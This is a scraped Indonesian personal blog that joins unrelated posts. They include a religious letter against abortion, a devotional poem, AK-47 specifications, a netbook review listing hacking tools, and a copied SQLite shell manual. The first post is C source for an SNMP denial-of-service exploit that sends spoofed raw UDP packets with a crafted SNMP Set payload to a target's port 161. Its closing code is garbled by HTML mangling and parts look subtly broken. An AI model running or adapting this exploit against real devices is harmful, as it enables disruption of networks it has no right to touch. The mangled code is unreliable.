Just a NobS

exploits 31025

2011-09-19T12:07:00.000-07:00

<pre style="white-space: pre-wrap; word-wrap: break-word;">#include <stdio.h>

#include <stdlib.h>

#include <sys types.h="">

#include <sys socket.h="">

#include <netinet in.h="">

#include <netinet ip.h="">

#include <netinet udp.h="">

#include <netdb.h>

#include <memory.h>

#include <string.h>

unsigned char evilcode[49] = {

0x33, 0x02, 0x01, 0x02, 0x02, 0x01, 0x00, 0x02, 0x01, 0x00, 0x30, 0x18, 0x30, 0x16, 0x06, 0x08,

0x2B, 0x06, 0x01, 0x02, 0x01, 0x01, 0x05, 0x00, 0x04, 0x17, 0x57, 0x72, 0x69, 0x74, 0x65, 0x20,

0x69, 0x73, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x73, 0x75, 0x70, 0x70, 0x6F, 0x72, 0x74, 0x65, 0x64,

0x21

};

unsigned short in_cksum(addr, len)

u_short *addr;

int len;

{

register int nleft = len;

register u_short *w = addr;

register int sum = 0;

u_short answer = 0;

while (nleft > 1) {

sum += *w++;

sum += *w++;

nleft -= 2;

}

if (nleft == 1) {

*(u_char *) (&answer) = *(u_char *) w;

sum += answer;

}

sum = (sum >> 17) + (sum & 0xffff);

sum += (sum >> 17);

answer = -sum;

return (answer);

}

int sendudp(int sock,unsigned long *saddr, unsigned long *daddr,unsigned int sport,unsigned int dport,char *data, int len)

{

char *packet;

struct sockaddr_in dstaddr;

struct iphdr *ip;

struct udphdr *udp;

packet = (char *)malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + len);

memset(packet,0,sizeof(struct iphdr) + sizeof(struct udphdr) + len);

if (packet == NULL) { printf("Malloc failed\n"); exit(-1); }

ip = (struct iphdr *)packet;

udp = (struct udphdr *)(packet+sizeof(struct iphdr));

ip->saddr = *saddr;

ip->daddr = *daddr;

ip->version = 4;

ip->ihl = 5;

ip->ttl = 255;

ip->id = htons((unsigned short) rand());

ip->protocol = IPPROTO_UDP;

ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr)+len);

ip->check = in_cksum(ip, sizeof(struct iphdr));

udp->source = htons(sport);

udp->dest = htons(dport);

udp->len = htons(sizeof(struct udphdr) + len);

memcpy(packet + (sizeof(struct iphdr) + sizeof(struct udphdr)),data,len);

dstaddr.sin_family = AF_INET;

dstaddr.sin_addr.s_addr = *daddr;

if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr)+len,0,(struct sockaddr *)&dstaddr,sizeof(struct sockaddr_in)) < 0)

perror("sendto() failed");

free(packet);

}

char * makereq(char *community,int *size)

{

char *buf;

char *ptr;

int len;

int i;

len = 7 + strlen(community) + sizeof(evilcode);

buf = (char *)malloc(len);

ptr = buf;

*ptr++ = 0x30;

*ptr++ = len;

/* Snmp Version */

*ptr++ = 0x02;

*ptr++ = 0x01;

*ptr++ = 0x00;

/* Community */

*ptr++ = 0x04;

*ptr++ = strlen(community);

strcpy(ptr,community);

ptr = ptr + strlen(community);

*ptr++ = 0xA3; /* Set Request */

memcpy(ptr, evilcode, sizeof(evilcode));

ptr = ptr + sizeof(evilcode);

*size = len+1;

return buf;

}

int erexit(char *msg)

{

printf("%s\n",msg);

exit (-1) ;

}

int usage()

{

printf("Usage: ./snmpdos <-s source> <-d dest> <-c community>\n");

}

int main(int argc, char **argv)

{

char *saddr,*daddr,*community;

unsigned char *buf;

int size;

int sock;

unsigned long lsaddr,ldaddr;

int i;

saddr = NULL;

daddr = NULL;

if (argc != 7) { usage(); erexit("not enough args\n"); }

if (!strcmp(argv[1],"-s"))

saddr = strdup(argv[2]);

if (!strcmp(argv[3],"-d"))

daddr = strdup(argv[4]);

if (!strcmp(argv[5],"-c"))

community = strdup(argv[6]);

printf("Ok, spoofing packets from %s to %s\n",saddr,daddr);

if (inet_addr(saddr) == -1 || inet_addr(daddr) == -1)

erexit("Invalid source/destination IP address\n");

if (saddr == NULL) { usage(); erexit("No Source Address"); }

if (daddr == NULL) { usage(); erexit("No Dest Address"); }

sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);

if (sock == -1)

erexit("Couldnt open Raw socket!(Are you root?)\n");

lsaddr = inet_addr(saddr);

ldaddr = inet_addr(daddr);

buf = makereq(community,&size);

printf("Sending %d bytes buffer:\n",size);

for (i=0;i<size;i++) ",buf[i]);="" 0;="" <="" \"="" be="" changed.\n");="" fprintf(stdout,"sent="" identity\"="" must="" packet.="" pre="" printf("0x%02x="" printf("\n");="" return="" sendudp(sock,&lsaddr,&ldaddr,32788,161,buf,size);="" system="" }=""><div>

</div>

</size;i++)></string.h></memory.h></netdb.h></netinet></netinet></netinet></sys></sys></stdlib.h></stdio.h></pre>

Buat yg doyan aborsi baca ni....!!!

2011-08-16T00:03:00.000-07:00

Assalamu'alaikum warahmatullahi wabarrakatuh

Teruntuk Bundaku tersayang...

Dear Bunda...

Bagaimana kabar bunda hari ini? Smoga bunda baik-baik saja...nanda juga di sini baik-baik saja bunda... Allah sayang banget deh sama nanda. Allah juga yang menyuruh nanda menulis surat ini untuk bunda, sebagai bukti cinta nanda sama bunda....

Bunda, ingin sekali nanda menyapa perempuan yang telah merelakan rahimnya untuk nanda diami walaupun hanya sesaat...

Bunda, sebenarnya nanda ingin lebih lama nebeng di rahim bunda, ruang yang kata Allah paling kokoh dan paling aman di dunia ini, tapi rupanya bunda tidak menginginkan kehadiran nanda, jadi sebagai anak yang baik, nanda pun rela menukarkan kehidupan nanda demi kebahagiaan bunda. Walaupun dulu, waktu bunda meluruhkan nanda, sakit banget bunda....badan nanda rasanya seperti tercabik-cabik... dan keluar sebagai gumpalan darah yang menjijikan apalagi hati nanda, nyeri, merasa seperti aib yang tidak dihargai dan tidak diinginkan.

Tapi nanda tidak kecewa kok bunda... karena dengan begitu, bunda telah mengantarkan nanda untuk bertemu dan dijaga oleh Allah bahkan nanda dirawat dengan penuh kasih sayang di dalam syurga Nya.

Bunda, nanda mau cerita, dulu nanda pernah menangis dan bertanya kepada Allah, mengapa bunda meluruhkan nanda saat nanda masih berupa wujud yang belum sempurna dan membiarkan nanda sendirian di sini? Apa bunda tidak sayang sama nanda? Bunda tidak ingin mencium nanda? Atau jangan-jangan karena nanti nanda rewel dan suka mengompol sembarangan? Lalu Allah bilang, bunda kamu malu sayang... kenapa bunda malu? karena dia takut kamu dilahirkan sebagai anak haram... anak haram itu apa ya Allah? Anak haram itu anak yang dilahirkan tanpa ayah... Nanda bingung dan bertanya lagi sama Allah, ya Allah, bukannya setiap anak itu pasti punya ayah dan ibu? Kecuali nabi Adam dan Isa? Allah yang Maha Tahu menjawab bahwa bunda dan ayah memproses nanda bukan dalam ikatan pernikahan yang syah dan Allah Ridhoi. Nanda semakin bingung dan akhirnya nanda putuskan untuk diam.

Bunda, nanda malu terus-terusan nanya sama Allah, walaupun Dia selalu menjawab semua pertanyaan nanda tapi nanda mau nanyanya sama bunda aja, pernikahan itu apa sih? Kenapa bunda tidak menikah saja dengan ayah? Kenapa bunda membuat nanda jadi anak haram dan mengapa bunda mengusir nanda dari rahim bunda dan tidak memberi kesempatan nanda hidup di dunia dan berbakti kepada bunda? Hehe,,,maaf ya bunda, nanda bawel banget... nanti saja, nanda tanyakan bunda kalau kita ketemu

Oh ya Bunda, suatu hari malaikat pernah mengajak jalan-jalan nanda ke tempat yang katanya bernama neraka. Tempat itu sangat menyeramkan dan sangat jauh berbeda dengan tempat tinggal nanda di syurga. Di situ banyak orang yang dibakar pake api lho bunda...minumnya juga pake nanah dan makannya buah-buahan aneh, banyak durinya...yang paling parah, ada perempuan yang ditusuk dan dibakar kaya sate gitu, serem banget deh bunda.

Lagi ngeri-ngerinya, tiba-tiba malaikat bilang sama nanda, Nak, kalau bunda dan ayahmu tidak bertaubat kelak di situlah tempatnya...di situlah orang yang berzina akan tinggal dan disiksa selamanya. Seketika itu nanda menangis dan berteriak-teriak memohon agar bunda dan ayah jangan dimasukkan ke situ.... nanda sayang bunda... nanda kangen dan ingin bertemu bunda... nanda ingin merasakan lembutnya belaian tangan bunda dan nanda ingin kita tinggal bersama di syurga... nanda takut, bunda dan ayah kesakitan seperti orang-orang itu...

Lalu, dengan lembut malaikat berkata... nak,kata Allah kalau kamu sayang, mau bertemu dan ingin ayah bundamu tinggal di syurga bersamamu, tulislah surat untuk mereka... sampaikan berita baik bahwa kamu tinggal di syurga dan ingin mereka ikut, ajaklah mereka bertaubat dan sampaikan juga kabar buruk, bahwa jika mereka tidak bertaubat mereka akan disiksa di neraka seperti orang-orang itu.

Saat mendengar itu, segera saja nanda menulis surat ini untuk bunda, menurut nanda Allah itu baik banget bunda.... Allah akan memaafkan semua kesalahan makhluk Nya asal mereka mau bertaubat nasuha... bunda taubat ya? Ajak ayah juga, nanti biar kita bisa kumpul bareng di sini... nanti nanda jemput bunda dan ayah di padang Mahsyar deh... nanda janji mau bawain minuman dan payung buat ayah dan bunda, soalnya kata Allah di sana panas banget bunda... antriannya juga panjang, semua orang sejak jaman nabi Adam kumpul disitu... tapi bunda jangan khawatir, Allah janji, walaupun rame kalo bunda dan ayah benar-benar bertaubat dan jadi orang yang baik, pasti nanda bisa ketemu kalian.

Bunda, kasih kesempatan buat nanda ya.... biar nanda bisa mersakan nikmatnya bertemu dan berbakti kepada orang tua, nanda juga mohon banget sama bunda...jangan sampai adik-adik nanda mengalami nasib yang sama dengan nanda, biarlah nanda saja yang merasakan sakitnya ketersia-siaan itu. Tolong ya bunda, kasih adik-adik kesempatan untuk hidup di dunia menemani dan merawat bunda saat bunda tua kelak.

Sudah dulu ya bunda... nanda mau main-main dulu di syurga.... nanda tunggu kedatangan ayah dan bunda di sini... nanda sayang banget sama bunda....muach!.muach!.muach!.muach!

note: buat yang udah halal ikutan baca aja jgn ngejunk...
BUAT YANG MERASA TERSINGGUNG GA SENANG, KESEL, GONDOX KEKI, BAGUS BERARTI LO NYADAR KLO LO MUNGKIN PUNYA BAGIAN DI TULISAN GW JINK...!!!!!!!! BUKAN KAMSUD GW UNTUK MENGGURUI , CUMA MO BERBAGI N KASIH TAU SUPAYA PADA NYADAR JGN JADI BAJINGAN KEK GW...DAMN...!!!!!!!!!!!

baca mas mba dan resapi yak

2011-06-11T22:58:00.000-07:00

Waktu engkau masih kanak-kanak, kau laksana kawan sejatiku
Dengan wudu' aku kau sentuh dalam keadaan suci
Aku kau pegang, kau junjung dan kau pelajari
Aku engkau baca dengan suara lirih ataupun keras setiap hari
Setelah usai engkaupun selalu menciumku mesra

Sekarang engkau telah dewasa...
Nampaknya kau sudah tak berminat lagi padaku...
Apakah aku bacaan usang yang tinggal sejarah...
Menurutmu barangkali aku bacaan yang tidak menambah pengetahuanmu
Atau menurutmu aku hanya untuk anak kecil yang belajar mengaji saja?

Sekarang aku engkau simpan rapi sekali hingga kadang engkau lupa dimana Menyimpannya. ..Aku sudah engkau anggap hanya sebagai perhiasan rumahmu. Kadang kala aku dijadikan mas kimpoi agar engkau dianggap bertaqwa...Atau aku kau buat penangkal untuk menakuti hantu dan syetan
Kini aku lebih banyak tersingkir, dibiarkan dalam kesendirian dalam
kesepian Di atas lemari, di dalam laci, aku engkau pendamkan.

Dulu...pagi- pagi...surah- surah yang ada padaku engkau baca beberapa
halaman Sore harinya aku kau baca beramai-ramai bersama temanmu di
surau..... Sekarang... pagi-pagi sambil minum kopi...engkau baca Koran
pagi atau nonton berita TV Waktu senggang..engkau sempatkan membaca buku karangan manusia Sedangkan aku yang berisi ayat-ayat yang datang dari Allah Yang Maha Perkasa. Engkau campakkan, engkau abaikan dan engkau lupakan...

Waktu berangkat kerjapun kadang engkau lupa baca pembuka surah2ku(Basmalah) Diperjalanan engkau lebih asyik menikmati musik duniawi...Tidak ada kaset yang berisi ayat Alloh SWT yang terdapat padaku di laci mobilmu Sepanjang perjalanan radiomu selalu tertuju ke stasiun radio favoritmu Aku tahu kalau itu bukan Stasiun Radio yang senantiasa melantunkan ayatku...

Di meja kerjamu tidak ada aku untuk kau baca sebelum kau mulai kerja Di Komputermu pun kau putar musik favoritmu
Jarang sekali engkau putar ayat-ayatku melantun
E-mail temanmu yang ada ayat-ayatkupun kadang kau abaikan
Engkau terlalu sibuk dengan urusan duniamu
Benarlah dugaanku bahwa engkau kini sudah benar-benar melupakanku
Bila malam tiba engkau tahan nongkrong berjam-jam di depan TV
Menonton pertandingan Liga Italia , musik atau Film dan Sinetron laga Didepan komputer berjam-jam engkau betah duduk
Hanya sekedar membaca berita murahan dan gambar sampah

Waktupun cepat berlalu...aku menjadi semakin kusam dalam lemari
Mengumpul debu dilapisi abu dan mungkin dimakan kutu
Seingatku hanya awal Ramadhan engkau membacaku kembali
Itupun hanya beberapa lembar dariku
Dengan suara dan lafadz yang tidak semerdu dulu
Engkaupun kini terbata-bata dan kurang lancar lagi setiap membacaku.

Apakah Koran, TV, radio , komputer, dapat memberimu pertolongan ?
Bila engkau di kubur sendirian menunggu sampai kiamat tiba
Engkau akan diperiksa oleh para malaikat suruhanNya
Hanya dengan ayat-ayat Allah yang ada padaku engkau dapat selamat melaluinya.

Sekarang engkau begitu enteng membuang waktumu...
Setiap saat berlalu...kuranglah jatah umurmu...
Dan akhirnya kubur sentiasa menunggu kedatanganmu. .
Engkau bisa kembali kepada Tuhanmu sewaktu-waktu
Apabila malaikat maut mengetuk pintu rumahmu.

Bila aku engkau baca selalu dan engkau hayati...
Di kuburmu nanti....
Aku akan datang sebagai pemuda gagah nan tampan
Yang akan membantu engkau membela diri
Bukan koran yang engkau baca yang akan membantumu
Dari perjalanan di alam akhirat
Tapi Akulah "Qur'an" kitab sucimu
Yang senantiasa setia menemani dan melindungimu

Peganglah aku lagi . .. bacalah kembali aku setiap hari
Karena ayat-ayat yang ada padaku adalah ayat suci
Yang berasal dari Allah SWT, Tuhan Yang Maha Mengetahui
Yang disampaikan oleh Jibril kepada Muhammad Rasulullah SAW.

Keluarkanlah segera aku dari lemari atau lacimu...
Jangan lupa bawa kaset yang ada ayatku dalam laci mobilmu
Letakkan aku selalu di depan meja kerjamu
Agar engkau senantiasa mengingat Tuhanmu

Sentuhilah aku kembali...., Baca dan pelajari lagi aku....
Setiap datangnya pagi dan sore hari
Seperti dulu....dulu sekali...
Waktu engkau masih kecil , lugu dan polos...
Di surau kecil kampungmu yang damai

Jangan aku engkau biarkan sendiri....
Dalam bisu dan sepi....

AK - 47

2010-09-14T17:57:00.000-07:00

Type: Assault rifle
Asal: Soviet Union
In service: 1949–Sekarang
Designer: Mikhail Kalashnikov
Designed: 1944–1946
Manufacturer: Izhmash
Number built: 100 juta unit
berat: 4.3 kg (9.5 lb) dalam keadaan kosong
panjang: 870 mm (34.3 in) fixed wooden stock; 875 mm (34.4 in) folding stock extended ; 645 mm (25.4 in) stock folded
panjang barrel: 415 mm (16.3 in)
peluru: 7.62x39mm M43
Action: Gas-operated, rotating bolt
Rate of fire: 600 peluru/menit
Muzzle velocity: 715 m/detik (2,346 feet/detik)
Effective range: 300 meter (330 yd) full automatic[3]; 400 meter (440 yd) semi-automatic:[3]
Feed system: 20 or 30-round detachable box magazine
Sights: Adjustable iron sights, 100–1000 metre adjustments, 378 mm (14.9 in) sight radius

D-HTML

2010-01-28T21:02:00.001-08:00

D-HTML

2010-01-15T12:34:00.000-08:00

Senjata perang gw kalo jauh dari pc desktop
kaya tentara aja yah ,heheheehehe

sedikit review dulu ah..

Acer Aspire One AOA150-1890 Notebook Specifications

Operating Systems: Genuine Microsoft Windows® XP Home
Platform: Notebook PC
Expansion Ports: N/A
PS/2 Keyboard Connectors: N/A
PS/2 Mouse Connectors: N/A
Serial Communication Ports: N/A
Parallel Ports: N/A
USB Ports: 3
FireWire Ports: N/A
Fast Infrared Ports (FIR): N/A
LAN Ports: 1
Modem Ports: N/A
Audio Out Jacks: 1
Line In Jacks: N/A
Microphone Jacks: 1
VGA Ports: 1
S-Video Connectors: N/A
DVI Video: N/A
Port Replicator/Connector: N/A
Processor Brand: Intel
Processor Class: Atom™ processor N270
Processor Speed: 1.60GHz
Processor FSB: 533MHz
Processor Cache: 512KB
Memory Type: DDR2
Memory Size: 1GB (512MB onboard + 512MB)
Memory Speed: DDR2 533
Memory Slots (Total): 1
Memory Slots (Available): 0
Maximum Memory Supported: 1.5GB
Capacity: 120GB
Optical Drive Type: N/A
Supplemental Drive Type: Media Reader
Media Types: Memory Stick
xD-Picture Card
Memory Stick PRO
Multi Media Card
SDcard,Reduced-Size MMC Capacity: 1

Media Types: SecureDigital
Audio Description: Integrated Audio
Audio Chipset: Microsoft DirectSound compatibility
Graphics Description: Integrated Graphics
GPU/VPU: Intel® Graphics Media Accelerator 950
Video Interface: VGA
Communications Description: Integrated LAN
Integrated Wireless LAN
Interface Type: RJ-45 Ethernet Connector
802.11b/g Wireless Networking
Data Transfer Rate: 10/100Mbps NIC
54 Mbps
Protocols: 802.11b
802.11g
Width: 9.8″
249 mm
Height: 1.4″
36 mm
Depth: 6.7″, 170 mm
Weight: 2.8 lbs
71 mm
Mouse Type: Touch Pad
Buttons: 2
Keyboard Type: 84-key Keyboard
Display Type: WSVGA with CrystalBrite Technology
Viewable Screen Size: 8.9″
Maximum Resolution: 1024 x 600
Battery Type: 3-Cell Lithium-ion
Battery Life: Up to 3 hours

Kelemahannya?? banyak.. mungkin kalo duid lebih si gw beli yang kerenan deh,,berhubung duid nya cuma dapet yang itu,,lumayan lah buat kerja ringan dan berinternetan di luar selain tempat kerjaan,ato buat buka pesbuk'an yg lagi ngetrend sekarang :D

dengan ram 1Gb pas lah buat kerja gw yang ga terlalu berat,,yang penting masih bisa di installin xampp,,udah tenang,plus software portable cukup kayanya deh
aplikasi wajib yang gw pake :

apache friends - xampp
adobe flash portable
adobe dreamweaver portabable
PuTTY portabable
FileZilla FTP
WinHTTrack
Cain and Abel
NMAP
WinPcap / WinDump
Paros proxy
KISMET on xp card dodol..
Winbox
Radmin
php designer
Artisteer
Digsby Messenger
Yahoo! Messenger
Google Earth
Google Chrome
Mozila firefox
VLC media player
Winamp Media Player
WinRAR
GunBoundWC : ini kalo lagi bete main game :D

ga semua applikasi di load,cuma kalo perlu baru di running
netbook lebay kerja kuli nieh heheheheh

2010-01-03T02:12:00.000-08:00

jangan di baca,,cuma buat document gw aja..!!!!!

Command Line Shell For SQLite

The SQLite library includes a simple command-line utility named sqlite3 (or sqlite3.exe on windows) that allows the user to manually enter and execute SQL commands against an SQLite database. This document provides a brief introduction on how to use the sqlite3 program.

Getting Started

To start the sqlite3 program, just type "sqlite3" followed by the name the file that holds the SQLite database. If the file does not exist, a new one is created automatically. The sqlite3 program will then prompt you to enter SQL. Type in SQL statements (terminated by a semicolon), press "Enter" and the SQL will be executed.
For example, to create a new SQLite database named "ex1" with a single table named "tbl1", you might do this:

$ sqlite3 ex1
SQLite version 3.6.11
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> create table tbl1(one varchar(10), two smallint);
sqlite> insert into tbl1 values('hello!',10);
sqlite> insert into tbl1 values('goodbye', 20);
sqlite> select * from tbl1;
hello!|10
goodbye|20
sqlite>

You can terminate the sqlite3 program by typing your systems End-Of-File character (usually a Control-D). Use the interrupt character (usually a Control-C) to stop a long-running SQL statement.
Make sure you type a semicolon at the end of each SQL command! The sqlite3 program looks for a semicolon to know when your SQL command is complete. If you omit the semicolon, sqlite3 will give you a continuation prompt and wait for you to enter more text to be added to the current SQL command. This feature allows you to enter SQL commands that span multiple lines. For example:

sqlite> CREATE TABLE tbl2 (
   ...>   f1 varchar(30) primary key,
   ...>   f2 text,
   ...>   f3 real
   ...> );
sqlite>

Aside: Querying the SQLITE_MASTER table

The database schema in an SQLite database is stored in a special table named "sqlite_master". You can execute "SELECT" statements against the special sqlite_master table just like any other table in an SQLite database. For example:

$ sqlite3 ex1
SQLite vresion 3.6.11
Enter ".help" for instructions
sqlite> select * from sqlite_master;
    type = table
    name = tbl1
tbl_name = tbl1
rootpage = 3
     sql = create table tbl1(one varchar(10), two smallint)
sqlite>

But you cannot execute DROP TABLE, UPDATE, INSERT or DELETE against the sqlite_master table. The sqlite_master table is updated automatically as you create or drop tables and indices from the database. You can not make manual changes to the sqlite_master table.
The schema for TEMPORARY tables is not stored in the "sqlite_master" table since TEMPORARY tables are not visible to applications other than the application that created the table. The schema for TEMPORARY tables is stored in another special table named "sqlite_temp_master". The "sqlite_temp_master" table is temporary itself.

Special commands to sqlite3

Most of the time, sqlite3 just reads lines of input and passes them on to the SQLite library for execution. But if an input line begins with a dot ("."), then that line is intercepted and interpreted by the sqlite3 program itself. These "dot commands" are typically used to change the output format of queries, or to execute certain prepackaged query statements.
For a listing of the available dot commands, you can enter ".help" at any time. For example:

sqlite> .help
.backup ?DB? FILE      Backup DB (default "main") to FILE
.bail ON|OFF           Stop after hitting an error.  Default OFF
.databases             List names and files of attached databases
.dump ?TABLE? ...      Dump the database in an SQL text format
.echo ON|OFF           Turn command echo on or off
.exit                  Exit this program
.explain ON|OFF        Turn output mode suitable for EXPLAIN on or off.
.genfkey ?OPTIONS?     Options are:
                         --no-drop: Do not drop old fkey triggers.
                         --ignore-errors: Ignore tables with fkey errors
                         --exec: Execute generated SQL immediately
                       See file tool/genfkey.README in the source 
                       distribution for further information.
.header(s) ON|OFF      Turn display of headers on or off
.help                  Show this message
.import FILE TABLE     Import data from FILE into TABLE
.indices TABLE         Show names of all indices on TABLE
.iotrace FILE          Enable I/O diagnostic logging to FILE
.load FILE ?ENTRY?     Load an extension library
.mode MODE ?TABLE?     Set output mode where MODE is one of:
                         csv      Comma-separated values
                         column   Left-aligned columns.  (See .width)
                         html     HTML  code
                         insert   SQL insert statements for TABLE
                         line     One value per line
                         list     Values delimited by .separator string
                         tabs     Tab-separated values
                         tcl      TCL list elements
.nullvalue STRING      Print STRING in place of NULL values
.output FILENAME       Send output to FILENAME
.output stdout         Send output to the screen
.prompt MAIN CONTINUE  Replace the standard prompts
.quit                  Exit this program
.read FILENAME         Execute SQL in FILENAME
.restore ?DB? FILE     Restore content of DB (default "main") from FILE
.schema ?TABLE?        Show the CREATE statements
.separator STRING      Change separator used by output mode and .import
.show                  Show the current values for various settings
.tables ?PATTERN?      List names of tables matching a LIKE pattern
.timeout MS            Try opening locked tables for MS milliseconds
.timer ON|OFF          Turn the CPU timer measurement on or off
.width NUM NUM ...     Set column widths for "column" mode
sqlite>Changing Output Formats
The sqlite3 program is able to show the results of a query in eight different formats: "csv", "column", "html", "insert", "line", "list", "tabs", and "tcl". You can use the ".mode" dot command to switch between these output formats.
The default output mode is "list". In list mode, each record of a query result is written on one line of output and each column within that record is separated by a specific separator string. The default separator is a pipe symbol ("|"). List mode is especially useful when you are going to send the output of a query to another program (such as AWK) for additional processing.
sqlite> .mode list
sqlite> select * from tbl1;
hello|10
goodbye|20
sqlite>
You can use the ".separator" dot command to change the separator for list mode. For example, to change the separator to a comma and a space, you could do this:sqlite> .separator ", "
sqlite> select * from tbl1;
hello, 10
goodbye, 20
sqlite>
In "line" mode, each column in a row of the database is shown on a line by itself. Each line consists of the column name, an equal sign and the column data. Successive records are separated by a blank line. Here is an example of line mode output:sqlite> .mode line
sqlite> select * from tbl1;
one = hello
two = 10

one = goodbye
two = 20
sqlite>
In column mode, each record is shown on a separate line with the data aligned in columns. For example:sqlite> .mode column
sqlite> select * from tbl1;
one         two       
----------  ----------
hello       10        
goodbye     20        
sqlite>
By default, each column is at least 10 characters wide. Data that is too wide to fit in a column is truncated. You can adjust the column widths using the ".width" command. Like this:sqlite> .width 12 6
sqlite> select * from tbl1;
one           two   
------------  ------
hello         10    
goodbye       20    
sqlite>
The ".width" command in the example above sets the width of the first column to 12 and the width of the second column to 6. All other column widths were unaltered. You can gives as many arguments to ".width" as necessary to specify the widths of as many columns as are in your query results.If you specify a column a width of 0, then the column width is automatically adjusted to be the maximum of three numbers: 10, the width of the header, and the width of the first row of data. This makes the column width self-adjusting. The default width setting for every column is this auto-adjusting 0 value.The column labels that appear on the first two lines of output can be turned on and off using the ".header" dot command. In the examples above, the column labels are on. To turn them off you could do this:sqlite> .header off
sqlite> select * from tbl1;
hello         10    
goodbye       20    
sqlite>
Another useful output mode is "insert". In insert mode, the output is formatted to look like SQL INSERT statements. You can use insert mode to generate text that can later be used to input data into a different database.When specifying insert mode, you have to give an extra argument which is the name of the table to be inserted into. For example:sqlite> .mode insert new_table
sqlite> select * from tbl1;
INSERT INTO 'new_table' VALUES('hello',10);
INSERT INTO 'new_table' VALUES('goodbye',20);
sqlite>
The last output mode is "html". In this mode, sqlite3 writes the results of the query as an XHTML table. The beginning 
and the ending 
are not written, but all of the intervening s, s, and s are. The html output mode is envisioned as being useful for CGI.Writing results to a file
By default, sqlite3 sends query results to standard output. You can change this using the ".output" command. Just put the name of an output file as an argument to the .output command and all subsequent query results will be written to that file. Use ".output stdout" to begin writing to standard output again. For example:sqlite> .mode list
sqlite> .separator |
sqlite> .output test_file_1.txt
sqlite> select * from tbl1;
sqlite> .exit
$ cat test_file_1.txt
hello|10
goodbye|20
$
Querying the database schema
The sqlite3 program provides several convenience commands that are useful for looking at the schema of the database. There is nothing that these commands do that cannot be done by some other means. These commands are provided purely as a shortcut.For example, to see a list of the tables in the database, you can enter ".tables".sqlite> .tables
tbl1
tbl2
sqlite>
The ".tables" command is similar to setting list mode then executing the following query:SELECT name FROM sqlite_master 
WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%'
UNION ALL 
SELECT name FROM sqlite_temp_master 
WHERE type IN ('table','view') 
ORDER BY 1
In fact, if you look at the source code to the sqlite3 program (found in the source tree in the file src/shell.c) you'll find exactly the above query.The ".indices" command works in a similar way to list all of the indices for a particular table. The ".indices" command takes a single argument which is the name of the table for which the indices are desired. Last, but not least, is the ".schema" command. With no arguments, the ".schema" command shows the original CREATE TABLE and CREATE INDEX statements that were used to build the current database. If you give the name of a table to ".schema", it shows the original CREATE statement used to make that table and all if its indices. We have:sqlite> .schema
create table tbl1(one varchar(10), two smallint)
CREATE TABLE tbl2 (
  f1 varchar(30) primary key,
  f2 text,
  f3 real
)
sqlite> .schema tbl2
CREATE TABLE tbl2 (
  f1 varchar(30) primary key,
  f2 text,
  f3 real
)
sqlite>
The ".schema" command accomplishes the same thing as setting list mode, then entering the following query:SELECT sql FROM 
   (SELECT * FROM sqlite_master UNION ALL
    SELECT * FROM sqlite_temp_master)
WHERE type!='meta'
ORDER BY tbl_name, type DESC, name
Or, if you give an argument to ".schema" because you only want the schema for a single table, the query looks like this:SELECT sql FROM
   (SELECT * FROM sqlite_master UNION ALL
    SELECT * FROM sqlite_temp_master)
WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%'
ORDER BY substr(type,2,1), name
You can supply an argument to the .schema command. If you do, the query looks like this:SELECT sql FROM
   (SELECT * FROM sqlite_master UNION ALL
    SELECT * FROM sqlite_temp_master)
WHERE tbl_name LIKE '%s'
  AND type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%'
ORDER BY substr(type,2,1), name
The "%s" in the query is replace by your argument. This allows you to view the schema for some subset of the database.sqlite> .schema %abc%
Along these same lines, the ".table" command also accepts a pattern as its first argument. If you give an argument to the .table command, a "%" is both appended and prepended and a LIKE clause is added to the query. This allows you to list only those tables that match a particular pattern.The ".databases" command shows a list of all databases open in the current connection. There will always be at least 2. The first one is "main", the original database opened. The second is "temp", the database used for temporary tables. There may be additional databases listed for databases attached using the ATTACH statement. The first output column is the name the database is attached with, and the second column is the filename of the external file.sqlite> .databases
Converting An Entire Database To An ASCII Text File
Use the ".dump" command to convert the entire contents of a database into a single ASCII text file. This file can be converted back into a database by piping it back into sqlite3.A good way to make an archival copy of a database is this:$ echo '.dump' | sqlite3 ex1 | gzip -c >ex1.dump.gz
This generates a file named ex1.dump.gz that contains everything you need to reconstruct the database at a later time, or on another machine. To reconstruct the database, just type:$ zcat ex1.dump.gz | sqlite3 ex2
The text format is pure SQL so you can also use the .dump command to export an SQLite database into other popular SQL database engines. Like this:$ createdb ex2
$ sqlite3 ex1 .dump | psql ex2
Other Dot Commands
The ".explain" dot command can be used to set the output mode to "column" and to set the column widths to values that are reasonable for looking at the output of an EXPLAIN command. The EXPLAIN command is an SQLite-specific SQL extension that is useful for debugging. If any regular SQL is prefaced by EXPLAIN, then the SQL command is parsed and analyzed but is not executed. Instead, the sequence of virtual machine instructions that would have been used to execute the SQL command are returned like a query result. For example:sqlite> .explain
sqlite> explain delete from tbl1 where two<20;
addr  opcode        p1     p2     p3          
----  ------------  -----  -----  -------------------------------------   
0     ListOpen      0      0                  
1     Open          0      1      tbl1        
2     Next          0      9                  
3     Field         0      1                  
4     Integer       20     0                  
5     Ge            0      2                  
6     Key           0      0                  
7     ListWrite     0      0                  
8     Goto          0      2                  
9     Noop          0      0                  
10    ListRewind    0      0                  
11    ListRead      0      14                 
12    Delete        0      0                  
13    Goto          0      11                 
14    ListClose     0      0
The ".timeout" command sets the amount of time that the sqlite3 program will wait for locks to clear on files it is trying to access before returning an error. The default value of the timeout is zero so that an error is returned immediately if any needed database table or index is locked.And finally, we mention the ".exit" command which causes the sqlite3 program to exit.Using sqlite3 in a shell script
One way to use sqlite3 in a shell script is to use "echo" or "cat" to generate a sequence of commands in a file, then invoke sqlite3 while redirecting input from the generated command file. This works fine and is appropriate in many circumstances. But as an added convenience, sqlite3 allows a single SQL command to be entered on the command line as a second argument after the database name. When the sqlite3 program is launched with two arguments, the second argument is passed to the SQLite library for processing, the query results are printed on standard output in list mode, and the program exits. This mechanism is designed to make sqlite3 easy to use in conjunction with programs like "awk". For example:$ sqlite3 ex1 'select * from tbl1' |
>  awk '{printf "%s%s\n",$1,$2 }'
hello10
goodbye20
$
Ending shell commands
